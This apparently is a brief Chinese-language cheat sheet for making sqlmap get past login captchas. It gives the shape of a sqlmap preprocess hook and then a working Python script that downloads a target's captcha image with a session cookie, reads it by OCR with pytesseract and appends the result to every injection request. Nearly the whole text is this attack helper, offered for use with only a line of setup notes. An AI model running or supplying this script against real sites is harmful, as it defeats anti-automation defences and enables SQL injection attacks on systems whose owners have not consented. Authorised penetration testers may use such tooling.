SQLmap繞過驗證碼機制

腳本基本結構

def preprocess(req):
    # req={
    #     'url': 'http://target.com/vuln.php',
    #     'method': 'GET',
    #     'data': 'id=1',
    #     'headers': {
    #         'User-Agent': 'sqlmap'
    #     },
    #     'cookie': 'PHPSESSID=123456'
    # }
    return req

假設驗證碼是POST的captcha=XXX
須在該腳本同目錄下創建__init__.py空檔
此腳本無法辨識所有驗證碼，須自己調整

import requests
from PIL import Image
import pytesseract
from io import BytesIO

class colors:
    Captcha_DEBUG='\033[38;5;176m'
    Captcha_ERROR='\033[38;5;196m'
    Captcha_RESET='\033[0m'

def CaptchaBypass(CaptchaURL,cookie=''):
    resp = requests.get(CaptchaURL,cookies=cookie)
    img = Image.open(BytesIO(resp.content))
    code = pytesseract.image_to_string(img).strip()
    return code

def preprocess(req):
    url='https://example.com/captcha_URL'
    cookie = {
            'JSESSIONID': 'aaa3K8MGirMb-5CNBzBzz'
    }
    if req.data:
        GetCaptcha=''
        try:
            GetCaptcha=CaptchaBypass(url,cookie)
        except Exception as err_msg:
            print(f"{colors.Captcha_ERROR}[ERROR] => {err_msg}{colors.Captcha_RESET}")
        req.data += f"&captcha={GetCaptcha}".encode()
        print(f'{colors.Captcha_DEBUG}[DEBUG] captcha => {GetCaptcha}{colors.Captcha_RESET}')
    return req